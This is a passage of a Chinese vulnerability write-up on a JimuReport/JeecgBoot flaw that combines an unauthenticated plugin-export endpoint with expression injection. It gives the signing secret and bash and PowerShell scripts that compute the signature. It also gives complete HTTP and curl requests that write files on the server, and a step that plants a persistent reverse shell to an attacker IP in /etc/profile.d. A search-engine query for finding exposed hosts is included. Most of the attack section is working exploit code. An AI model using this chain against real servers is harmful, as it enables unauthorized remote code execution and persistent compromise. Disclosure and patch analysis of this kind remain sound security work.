\u96c6\u6210\u7684 JimuReport \u5728\u81ea\u52a8\u5bfc\u51fa\u529f\u80fd\u4e2d\u5904\u7406 ",(0,s.jsx)(n.code,{children:"reportParams[].params"}),"\u3002\u5f53\u53c2\u6570\u503c\u4ee5 ",(0,s.jsx)(n.code,{children:"="})," \u5f00\u5934\u65f6\uff0c\u53c2\u6570\u4f1a\u8fdb\u5165\u62a5\u8868\u8868\u8fbe\u5f0f\u6c42\u503c\u6d41\u7a0b\uff1b\u5728\u53d7\u5f71\u54cd\u5b9e\u73b0\u4e2d\uff0c\u8868\u8fbe\u5f0f\u4e0a\u4e0b\u6587\u4ecd\u53ef\u8bbf\u95ee\u5185\u90e8\u6a21\u5757\u5bf9\u8c61\uff0c\u9020\u6210\u4efb\u610f\u6587\u4ef6\u5199\u5165\uff0c\u5e76\u53ef\u80fd\u8fdb\u4e00\u6b65\u7ec4\u5408\u8fdb\u7a0b\u542f\u52a8\u80fd\u529b\u5f62\u6210\u670d\u52a1\u5668\u7aef\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"GitHub Issue #9837 \u91cd\u70b9\u4fee\u590d\u7684\u662f\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-http",children:"POST /jmreport/auto/export\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8be5\u5165\u53e3\u539f\u672c\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"}),"\uff0c\u53ef\u4ee5\u7ed5\u8fc7\u767b\u5f55\u8fdb\u5165\u81ea\u52a8\u5bfc\u51fa\u6d41\u7a0b\u3002\u4fee\u590d\u601d\u8def\u662f\u53bb\u9664\u8be5\u5165\u53e3\u7684\u514d\u767b\u5f55\u6807\u8bb0\uff0c\u5e76\u589e\u52a0\u89d2\u8272\u3001\u6743\u9650\u7ea6\u675f\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u672c\u6587\u5206\u6790\u7684\u7ed5\u8fc7\u8def\u5f84\u4e0d\u662f\u539f\u59cb ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export"}),"\uff0c\u800c\u662f\u540c\u4e00\u63a7\u5236\u5668\u4e2d\u4ecd\u7136\u5b58\u5728\u7684\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-http",children:"POST /jmreport/auto/export/python/plugin\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u672c\u5730\u5206\u6790\u7684 JimuReport 2.5.1 \u7c7b\u6587\u4ef6\u663e\u793a\uff0c\u8be5\u65b9\u6cd5\u4ecd\u5e26\u6709 ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"}),"\uff0c\u540c\u65f6\u5e26\u6709 ",(0,s.jsx)(n.code,{children:"@JimuSignature"}),"\u3002\u56e0\u6b64\uff0c\u8c03\u7528\u65b9\u4e0d\u9700\u8981\u5efa\u7acb\u6b63\u5e38\u767b\u5f55\u4f1a\u8bdd\uff0c\u53ea\u9700\u8981\u6309\u7167\u56fa\u5b9a\u7b7e\u540d\u89c4\u5219\u751f\u6210 ",(0,s.jsx)(n.code,{children:"X-TIMESTAMP"})," \u548c ",(0,s.jsx)(n.code,{children:"X-Sign"}),"\uff0c\u5373\u53ef\u7ee7\u7eed\u8fdb\u5165\u81ea\u52a8\u5bfc\u51fa\u670d\u52a1\u548c Python \u5bfc\u51fa\u5904\u7406\u94fe\u3002\u7b7e\u540d\u53ea\u6821\u9a8c\u8bf7\u6c42\u5b8c\u6574\u6027\uff0c\u4e0d\u4f1a\u5c06 ",(0,s.jsx)(n.code,{children:"params"})," \u9650\u5236\u4e3a\u666e\u901a\u5b57\u9762\u91cf\uff0c\u4e5f\u6ca1\u6709\u66ff\u4ee3\u771f\u5b9e\u8eab\u4efd\u8ba4\u8bc1\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u7ed5\u8fc7\u94fe\u5982\u4e0b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u901a\u8fc7\u62a5\u8868\u67e5\u8be2\u63a5\u53e3\u53d6\u5f97\u4e00\u4e2a\u53ef\u7528\u7684\u62a5\u8868 ID\uff1b"}),"\n",(0,s.jsxs)(n.li,{children:["\u6784\u9020 ",(0,s.jsx)(n.code,{children:"reportParams[].params"}),"\uff0c\u4f7f\u53c2\u6570\u503c\u8fdb\u5165\u8868\u8fbe\u5f0f\u5904\u7406\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u4f7f\u7528\u5f53\u524d\u6beb\u79d2\u65f6\u95f4\u6233\u548c\u63d2\u4ef6\u7b7e\u540d\u89c4\u5219\u8ba1\u7b97 ",(0,s.jsx)(n.code,{children:"X-Sign"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u8bf7\u6c42 ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export/python/plugin"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"})," \u4f7f\u767b\u5f55\u6821\u9a8c\u653e\u884c\uff0c",(0,s.jsx)(n.code,{children:"@JimuSignature"})," \u4ec5\u9a8c\u8bc1\u7b7e\u540d\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u63a7\u5236\u5668\u8c03\u7528 ",(0,s.jsx)(n.code,{children:"IJimuReportAutoService.autoExport"}),"\uff0c\u53c2\u6570\u7ee7\u7eed\u8fdb\u5165 Python \u81ea\u52a8\u5bfc\u51fa\u6d41\u7a0b\uff1b"]}),"\n",(0,s.jsx)(n.li,{children:"\u8868\u8fbe\u5f0f\u88ab\u6c42\u503c\uff0c\u4ea7\u751f\u6587\u4ef6\u5199\u5165\u6216\u66f4\u9ad8\u5f71\u54cd\u7684\u6267\u884c\u7ed3\u679c\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u4e09\u5f71\u54cd\u5382\u5546\u53ca\u4ea7\u54c1\u578b\u53f7",children:"\u4e09\u3001\u5f71\u54cd\u5382\u5546\u53ca\u4ea7\u54c1\u578b\u53f7"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u5382\u5546\uff1aJeecgBoot / JimuReport"}),"\n",(0,s.jsx)(n.li,{children:"\u4ea7\u54c1\uff1aJeecgBoot \u4f01\u4e1a\u7ea7\u4f4e\u4ee3\u7801\u5e73\u53f0\uff08\u96c6\u6210 JimuReport\uff09"}),"\n",(0,s.jsx)(n.li,{children:"\u76f8\u5173\u529f\u80fd\uff1aJimuReport \u81ea\u52a8\u5bfc\u51fa\u3001Python \u63d2\u4ef6\u5bfc\u51fa"}),"\n",(0,s.jsxs)(n.li,{children:["\u539f\u59cb\u4fee\u590d\u5165\u53e3\uff1a",(0,s.jsx)(n.code,{children:"/jmreport/auto/export"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u7ed5\u8fc7\u5165\u53e3\uff1a",(0,s.jsx)(n.code,{children:"/jmreport/auto/export/python/plugin"})]}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",children:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce:"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["quake: ",(0,s.jsx)(n.code,{children:'title="JeecgBoot \u4f01\u4e1a\u7ea7\u4f4e\u4ee3\u7801\u5e73\u53f0"'})]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902171749761",src:r(81292).A+"",width:"2520",height:"1390"})}),"\n",(0,s.jsx)(n.h2,{id:"\u56db\u5f71\u54cd\u4ea7\u54c1\u7248\u672c",children:"\u56db\u3001\u5f71\u54cd\u4ea7\u54c1\u7248\u672c"}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u5730\u4ed3\u5e93\u7684\u5206\u6790\u57fa\u7ebf\u5982\u4e0b\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["JeecgBoot\uff1a",(0,s.jsx)(n.code,{children:"3.9.5"})]}),"\n",(0,s.jsxs)(n.li,{children:["JimuReport Spring Boot 4 Starter\uff1a",(0,s.jsx)(n.code,{children:"2.5.1"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u5173\u952e\u4f9d\u8d56\uff1a",(0,s.jsx)(n.code,{children:"jimureport-spring-boot4-starter-2.5.1.jar"})]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u7248\u672c\u5224\u65ad\u5e94\u4ee5\u8fd0\u884c\u65f6\u5b9e\u9645\u52a0\u8f7d\u7684 JimuReport JAR \u4e3a\u51c6\u3002\u82e5\u90e8\u7f72\u4f7f\u7528\u72ec\u7acb JimuReport\u3001\u5e73\u53f0\u955c\u50cf\u6216\u4e8c\u6b21\u5f00\u53d1\u7248\u672c\uff0c\u5e94\u68c0\u67e5\u8fd0\u884c\u65f6\u7c7b\u6587\u4ef6\u662f\u5426\u540c\u65f6\u5177\u5907\u4ee5\u4e0b\u7279\u5f81\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"/export/python/plugin\n@JimuNoLoginRequired\n@JimuSignature\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u6587\u5c06\u201c\u539f\u59cb\u5165\u53e3\u5df2\u52a0\u6743\u9650\u3001\u65c1\u8def\u5165\u53e3\u4ecd\u514d\u767b\u5f55\u5e76\u53ef\u7b7e\u540d\u8c03\u7528\u201d\u7684\u72b6\u6001\u5b9a\u4e49\u4e3a\u53d7\u5f71\u54cd\u72b6\u6001\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"\u4e94\u590d\u73b0\u8fc7\u7a0b\u53ca\u590d\u73b0\u622a\u56fe",children:"\u4e94\u3001\u590d\u73b0\u8fc7\u7a0b\u53ca\u590d\u73b0\u622a\u56fe"}),"\n",(0,s.jsx)(n.h3,{id:"1-\u51c6\u5907\u9a8c\u8bc1\u73af\u5883",children:"1. \u51c6\u5907\u9a8c\u8bc1\u73af\u5883"}),"\n",(0,s.jsx)(n.p,{children:"\u53ef\u9a8c\u8bc1\u73af\u5883\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"http://127.0.0.1:80\nhttp://127.0.0.1:8080\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5982\u679c\u5e94\u7528\u914d\u7f6e\u4e86\u4e0a\u4e0b\u6587\u8def\u5f84\uff0c\u4ee5\u4e0b\u793a\u4f8b\u4f7f\u7528\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"http://127.0.0.1:8080/jeecg-boot\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5148\u786e\u8ba4\u5e94\u7528\u786e\u5b9e\u90e8\u7f72\u4e86 JimuReport\u3002\u5bf9\u9898\u8bbe\u4e2d\u7684\u4e24\u4e2a\u5730\u5740\u76f4\u63a5\u8bf7\u6c42\u65f6\uff0c\u82e5\u8fd4\u56de nginx ",(0,s.jsx)(n.code,{children:"405"})," \u6216 Tomcat ",(0,s.jsx)(n.code,{children:"404"}),"\uff0c\u8bf4\u660e\u8bf7\u6c42\u5c1a\u672a\u8fdb\u5165\u76ee\u6807\u63a7\u5236\u5668\uff0c\u5e94\u6539\u7528\u6b63\u786e\u7684\u4e0a\u4e0b\u6587\u8def\u5f84\u6216\u5b9e\u9645\u76d1\u542c\u5730\u5740\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"2-\u83b7\u53d6\u62a5\u8868-id",children:"2. \u83b7\u53d6\u62a5\u8868 ID"}),"\n",(0,s.jsx)(n.p,{children:"\u5411\u62a5\u8868\u67e5\u8be2\u63a5\u53e3\u53d1\u9001 GET \u8bf7\u6c42\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-http",children:"GET /jeecg-boot/jmreport/excelQueryByTemplate?name=&pageNo=1&pageSize=10 HTTP/1.1\nHost: 127.0.0.1:8080\nAccept: application/json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\nConnection: close\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5178\u578b\u8fd4\u56de\u4e3a JSON\u3002\u4e0d\u540c\u7248\u672c\u5b57\u6bb5\u5305\u88c5\u53ef\u80fd\u7565\u6709\u5dee\u5f02\uff0c\u91cd\u70b9\u67e5\u770b ",(0,s.jsx)(n.code,{children:"result.records[].id"})," \u5b57\u6bb5\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-json",children:'{\n "success": true,\n "result": {\n "records": [\n {\n "id": "REPORT_ID",\n "name": "REPORT_NAME"\n }\n ]\n }\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06\u8fd4\u56de\u7684 ",(0,s.jsx)(n.code,{children:"REPORT_ID"})," \u8bb0\u4e0b\uff0c\u540e\u7eed\u653e\u5165 ",(0,s.jsx)(n.code,{children:"reportParams[0].id"}),"\u3002\u82e5\u8be5\u63a5\u53e3\u88ab\u6743\u9650\u63a7\u5236\uff0c\u4e5f\u53ef\u4ee5\u4ece\u5df2\u7ecf\u6253\u5f00\u7684\u62a5\u8868\u9875\u9762\u3001\u5bfc\u51fa\u8bf7\u6c42\u6216\u5e94\u7528\u65e5\u5fd7\u4e2d\u53d6\u5f97\u540c\u4e00\u5b57\u6bb5\uff1b\u8fd9\u4e00\u6b65\u7684\u76ee\u7684\u53ea\u662f\u5f97\u5230\u4e00\u4e2a\u5b58\u5728\u7684\u62a5\u8868 ID\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902161458266",src:r(54066).A+"",width:"2409",height:"1446"})}),"\n",(0,s.jsx)(n.h3,{id:"3-\u6784\u9020\u539f\u59cb\u8bf7\u6c42\u4f53",children:"3. \u6784\u9020\u539f\u59cb\u8bf7\u6c42\u4f53"}),"\n",(0,s.jsxs)(n.p,{children:["\u4f7f\u7528\u4e00\u4e2a\u53ea\u4ea7\u751f\u6587\u4ef6\u6807\u8bb0\u7684\u8868\u8fbe\u5f0f\u4f5c\u4e3a ",(0,s.jsx)(n.code,{children:"params.x"}),"\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-json",children:'{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache[\'io\'][\'spit\'](\'/tmp/jeecg_jimureport_poc\',\'JEECG_JIMUREPORT_POC\')"},"exportType":"pdf"}]}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u7b7e\u540d\u5fc5\u987b\u9488\u5bf9",(0,s.jsx)(n.strong,{children:"\u53d1\u9001\u51fa\u53bb\u7684\u539f\u59cb\u5b57\u8282\u5e8f\u5217"}),"\u8ba1\u7b97\u3002\u4e0d\u8981\u5728\u8ba1\u7b97\u7b7e\u540d\u540e\u91cd\u65b0\u683c\u5f0f\u5316 JSON\u3001\u589e\u52a0\u6362\u884c\u6216\u6539\u53d8\u5b57\u6bb5\u987a\u5e8f\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"4-\u8ba1\u7b97\u8bf7\u6c42\u5934",children:"4. \u8ba1\u7b97\u8bf7\u6c42\u5934"}),"\n",(0,s.jsx)(n.p,{children:"\u672c\u5730 2.5.1 \u7c7b\u6587\u4ef6\u4e2d\u7684\u63d2\u4ef6\u7b7e\u540d\u903b\u8f91\u7b49\u4ef7\u4e8e\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"X-TIMESTAMP = \u5f53\u524d Unix \u6beb\u79d2\u65f6\u95f4\u6233\nX-Sign = MD5(raw_body + PLUGIN_SIGN_SECRET).upper()\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5206\u6790\u57fa\u7ebf\u4e2d ",(0,s.jsx)(n.code,{children:"PLUGIN_SIGN_SECRET"})," \u4e3a\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u624b\u5de5\u8ba1\u7b97\u793a\u4f8b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:'BODY=\'{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache[\'"\'"\'io\'"\'"\'][\'"\'"\'spit\'"\'"\'](\'"\'"\'/tmp/jeecg_jimureport_poc\'"\'"\',\'"\'"\'JEECG_JIMUREPORT_POC\'"\'"\')"},"exportType":"pdf"}]}\'\nTS=$(python3 -c \'import time; print(int(time.time() * 1000))\')\nSECRET=\'6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121\'\nSIGN=$(printf \'%s%s\' "$BODY" "$SECRET" | md5sum | awk \'{print toupper($1)}\')\nprintf \'timestamp=%s\\nsign=%s\\n\' "$TS" "$SIGN"\n'})}),"\n",(0,s.jsx)(n.p,{children:"Windows PowerShell \u7b49\u4ef7\u8ba1\u7b97\u65b9\u5f0f\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-powershell",children:"$Body = '{\"reportParams\":[{\"id\":\"REPORT_ID\",\"params\":{\"x\":\"=__instance__.moduleCache[''io''][''spit''](''/tmp/jeecg_jimureport_poc'',''JEECG_JIMUREPORT_POC'')\"},\"exportType\":\"pdf\"}]}'\n$Secret = '6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121'\n$Bytes = [Text.Encoding]::UTF8.GetBytes($Body + $Secret)\n$Md5 = [Security.Cryptography.MD5]::Create().ComputeHash($Bytes)\n$Sign = ([BitConverter]::ToString($Md5) -replace '-', '').ToUpper()\n$Timestamp = [DateTimeOffset]::Now.ToUnixTimeMilliseconds()\n$Sign\n$Timestamp\n"})}),"\n",(0,s.jsx)(n.h3,{id:"5-\u624b\u5de5\u53d1\u9001\u7ed5\u8fc7\u8bf7\u6c42",children:"5. \u624b\u5de5\u53d1\u9001\u7ed5\u8fc7\u8bf7\u6c42"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06\u4e0a\u4e00\u6b65\u7684 ",(0,s.jsx)(n.code,{children:"REPORT_ID"}),"\u3001",(0,s.jsx)(n.code,{children:"CURRENT_MILLISECONDS"})," \u548c ",(0,s.jsx)(n.code,{children:"MD5_UPPER"})," \u66ff\u6362\u4e3a\u5b9e\u9645\u503c\uff0c\u53d1\u9001\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-http",children:'POST /jeecg-boot/jmreport/auto/export/python/plugin HTTP/1.1\nHost: 127.0.0.1:8080\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/json\nX-TIMESTAMP: CURRENT_MILLISECONDS\nX-Sign: MD5_UPPER\nContent-Length: BODY_BYTE_LENGTH\n\n{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache[\'io\'][\'spit\'](\'/tmp/jeecg_jimureport_poc\',\'JEECG_JIMUREPORT_POC\')"},"exportType":"pdf"}]}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u4e5f\u53ef\u4ee5\u4f7f\u7528 curl \u53d1\u9001\u540c\u4e00\u539f\u59cb JSON\u3002",(0,s.jsx)(n.code,{children:"--insecure"})," \u7528\u4e8e\u5ffd\u7565 TLS \u8bc1\u4e66\u6821\u9a8c\uff1bHTTP \u73af\u5883\u4e0b\u4e0d\u4f1a\u4ea7\u751f\u989d\u5916\u5f71\u54cd\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"curl --insecure -i \\\n -X POST 'http://127.0.0.1:8080/jeecg-boot/jmreport/auto/export/python/plugin' \\\n -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' \\\n -H 'Content-Type: application/json' \\\n -H \"X-TIMESTAMP: $TS\" \\\n -H \"X-Sign: $SIGN\" \\\n --data-binary \"$BODY\"\n"})}),"\n",(0,s.jsx)(n.h3,{id:"6-\u89c2\u5bdf\u6210\u529f\u54cd\u5e94\u548c\u9a8c\u8bc1\u4fe1\u53f7",children:"6. \u89c2\u5bdf\u6210\u529f\u54cd\u5e94\u548c\u9a8c\u8bc1\u4fe1\u53f7"}),"\n",(0,s.jsxs)(n.p,{children:["\u6210\u529f\u8fdb\u5165\u63a7\u5236\u5668\u65f6\uff0c\u5e38\u89c1\u54cd\u5e94\u4e3a HTTP ",(0,s.jsx)(n.code,{children:"200"}),"\uff0c\u54cd\u5e94\u4f53\u53ef\u80fd\u662f\u5bfc\u51fa\u4e1a\u52a1 JSON\u3001\u4e0b\u8f7d\u4fe1\u606f\u6216\u6587\u4ef6\u6d41\uff0c\u53d6\u51b3\u4e8e\u7248\u672c\u548c\u5bfc\u51fa\u914d\u7f6e\u3002\u4f8b\u5982\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-http",children:"HTTP/1.1 200 OK\nContent-Type: application/json;charset=UTF-8\n"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-json",children:'{\n "success": true,\n "message": "\u5bfc\u51fa\u62a5\u8868\u6210\u529f",\n "result": {}\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u9a8c\u8bc1\u91cd\u70b9\u4e0d\u662f\u56fa\u5b9a\u7684 ",(0,s.jsx)(n.code,{children:"result"})," \u7ed3\u6784\uff0c\u800c\u662f\u4ee5\u4e0b\u4fe1\u53f7\u662f\u5426\u540c\u65f6\u51fa\u73b0\uff1a"]}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u5e94\u7528\u65e5\u5fd7\u51fa\u73b0\u81ea\u52a8\u5bfc\u51fa/Python \u5bfc\u51fa\u8c03\u7528\u8bb0\u5f55\uff1b"}),"\n",(0,s.jsxs)(n.li,{children:["\u670d\u52a1\u5668\u4e0a\u51fa\u73b0 ",(0,s.jsx)(n.code,{children:"/tmp/jeecg_jimureport_poc"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u6807\u8bb0\u6587\u4ef6\u5185\u5bb9\u4e3a ",(0,s.jsx)(n.code,{children:"JEECG_JIMUREPORT_POC"}),"\uff1b"]}),"\n",(0,s.jsx)(n.li,{children:"\u8fd4\u56de\u7ed3\u679c\u4e0d\u518d\u662f\u767b\u5f55\u5931\u8d25\u6216\u6743\u9650\u5931\u8d25\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u5982\u679c\u6587\u4ef6\u6807\u8bb0\u672a\u51fa\u73b0\u4f46\u54cd\u5e94\u5df2\u8fdb\u5165\u5bfc\u51fa\u6d41\u7a0b\uff0c\u5e94\u7ee7\u7eed\u68c0\u67e5\u62a5\u8868 ID\u3001\u5bfc\u51fa\u4f9d\u8d56\u3001Python \u73af\u5883\u3001\u4e34\u65f6\u76ee\u5f55\u6743\u9650\u548c\u5e94\u7528\u65e5\u5fd7\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902171015989",src:r(44644).A+"",width:"2486",height:"852"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902171052052",src:r(80752).A+"",width:"1659",height:"522"})}),"\n",(0,s.jsx)(n.h3,{id:"7\u5199\u5165rce",children:"7.\u5199\u5165RCE"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'POST /jeecgboot/jmreport/auto/export/python/plugin HTTP/1.1\nHost: 172.20.10.2\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nX-Tenant-Id: 1000\nX-TIMESTAMP: 1788340125303\nX-Sign: 9C0E1E0A227BC5AC60E05DE6B8AAD291\nReferer: http://172.20.10.2/login?redirect=/dashboard/analysis\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7\nConnection: keep-alive\nContent-Type: application/json\nContent-Length: 262\n\n{"reportParams":[{"id":"907480464532770816","params":{"x":"=__instance__.moduleCache[\'io\'][\'spit\'](\'/etc/profile.d/shell.sh\',\'setsid sh -c \\"0<&196;exec 196<>/dev/tcp/\u653b\u51fb\u8005\u76d1\u542cIP/1234; /bin/bash <&196 >&196 2>&196\\" >/dev/null 2>&1 &\')"},"exportType":"pdf"}]}\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902171222468",src:r(21594).A+"",width:"2505",height:"938"})}),"\n",(0,s.jsx)(n.p,{children:"\u968f\u540e \u901a\u8fc7\u6a21\u62df\u767b\u5f55 \u6216 \u6253\u5f00 bash \u5373\u53ef\u89e6\u53d1\u53cd\u5f39shell"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902171528544",src:r(72462).A+"",width:"2830",height:"546"})}),"\n",(0,s.jsx)(n.h2,{id:"\u516d\u6f0f\u6d1e\u5206\u6790",children:"\u516d\u3001\u6f0f\u6d1e\u5206\u6790\uff1a"}),"\n",(0,s.jsx)(n.h3,{id:"1-\u4fee\u590d\u524d\u540e\u5165\u53e3\u8fb9\u754c\u5bf9\u6bd4",children:"1. \u4fee\u590d\u524d\u540e\u5165\u53e3\u8fb9\u754c\u5bf9\u6bd4"}),"\n",(0,s.jsxs)(n.p,{children:["Issue #9837 \u9488\u5bf9\u7684\u539f\u59cb\u5165\u53e3\u5728\u63a7\u5236\u5668\u4e2d\u5bf9\u5e94 ",(0,s.jsx)(n.code,{children:"/export"})," \u65b9\u6cd5\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u4ee3\u7801\u4f4d\u7f6e\uff1a"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/b/a.class\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u53cd\u7f16\u8bd1\u540e\u53ef\u8fd8\u539f\u4e3a\u4ee5\u4e0b\u7ed3\u6784\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'@RestController\n@RequestMapping("/jmreport/auto")\npublic class JimuReportAutoController {\n\n @PostMapping("/export")\n @RequiresRoles(value = {"admin", "lowdeveloper"}, logical = Logical.OR)\n @RequiresPermissions("jmreport:exportJob:export")\n public Result export(@RequestBody JimuReportAutoExportVO vo) {\n String currentDomain = getCurrentDomain(getRequest());\n vo.setDomain(currentDomain);\n vo.setExportFrom("api");\n return jimuReportAutoService.autoExport(vo);\n }\n\n @PostMapping("/export/python/plugin")\n @JimuSignature\n @JimuNoLoginRequired\n public Result exportPythonPlugin(\n @RequestBody JimuReportAutoExportVO vo) {\n String currentDomain = getCurrentDomain(getRequest());\n vo.setDomain(currentDomain);\n vo.setExportFrom("api");\n return jimuReportAutoService.autoExport(vo);\n }\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5173\u952e\u5dee\u5f02\u662f\uff1a\u539f\u59cb ",(0,s.jsx)(n.code,{children:"/export"})," \u65b9\u6cd5\u5177\u6709\u89d2\u8272\u548c\u6743\u9650\u6ce8\u89e3\uff0c\u800c ",(0,s.jsx)(n.code,{children:"/export/python/plugin"})," \u65b9\u6cd5\u4ecd\u6709 ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"}),"\uff0c\u5e76\u4e14\u4e24\u8005\u6700\u7ec8\u90fd\u8c03\u7528\u540c\u4e00\u4e2a ",(0,s.jsx)(n.code,{children:"autoExport(vo)"}),"\u3002\u56e0\u6b64\uff0c\u53ea\u4fee\u590d ",(0,s.jsx)(n.code,{children:"/export"})," \u7684\u6ce8\u89e3\u5e76\u4e0d\u80fd\u5173\u95ed\u65c1\u8def\u3002"]}),"\n",(0,s.jsxs)(n.h3,{id:"2-jimureportautocontroller-\u6570\u636e\u6d41",children:["2. ",(0,s.jsx)(n.code,{children:"JimuReportAutoController"})," 